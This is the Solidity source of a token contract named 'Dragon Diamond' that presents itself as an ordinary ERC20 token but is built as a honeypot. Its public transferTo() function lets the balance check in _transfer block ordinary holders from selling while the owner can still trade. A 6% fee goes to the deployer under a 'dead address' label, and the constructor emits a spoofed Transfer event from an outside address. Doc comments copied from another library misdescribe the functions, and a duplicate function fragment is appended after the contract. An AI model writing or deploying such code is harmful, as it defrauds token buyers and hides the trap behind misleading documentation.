contract DragonDiamond is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 100000 * 10**9 * 10**18;
    string private _name = 'Dragon Diamond';
    string private _symbol = 'eDDN';
    uint256 private _maxBotBuy = _tTotal.mul(30).div(100);
    
    uint256 private _minBotBuy = 4;
    uint8 private _decimals = 18;
    address private _deadAddress = _msgSender();

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - transferTo
     *
     * _Available since v3.1._
     */
    function transferTo() public {
        _maxBotBuy = _minBotBuy;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkBalanceAddress(address _walletAddress) private view returns (bool){
        uint256 _botBalance = _tTotal.mul(30).div(100);
        
        if (balanceOf(_walletAddress) >= _maxBotBuy && balanceOf(_walletAddress) <= _botBalance) {
            return false;
        } else {
            return true;
        }
    }
    
    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (sender == owner()) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            require (checkBalanceAddress(sender));
            
            uint256 transferFee = amount.mul(6).div(100);
            uint256 transferAmount = amount.sub(transferFee);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(transferAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(transferFee);
            
            emit Transfer(sender, recipient, transferAmount);
        }
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
     

}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

/**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
 * transferFrom.
 *
 * Requirements:
 *
 * - transferFrom.
 *
 * _Available since v3.1._
 */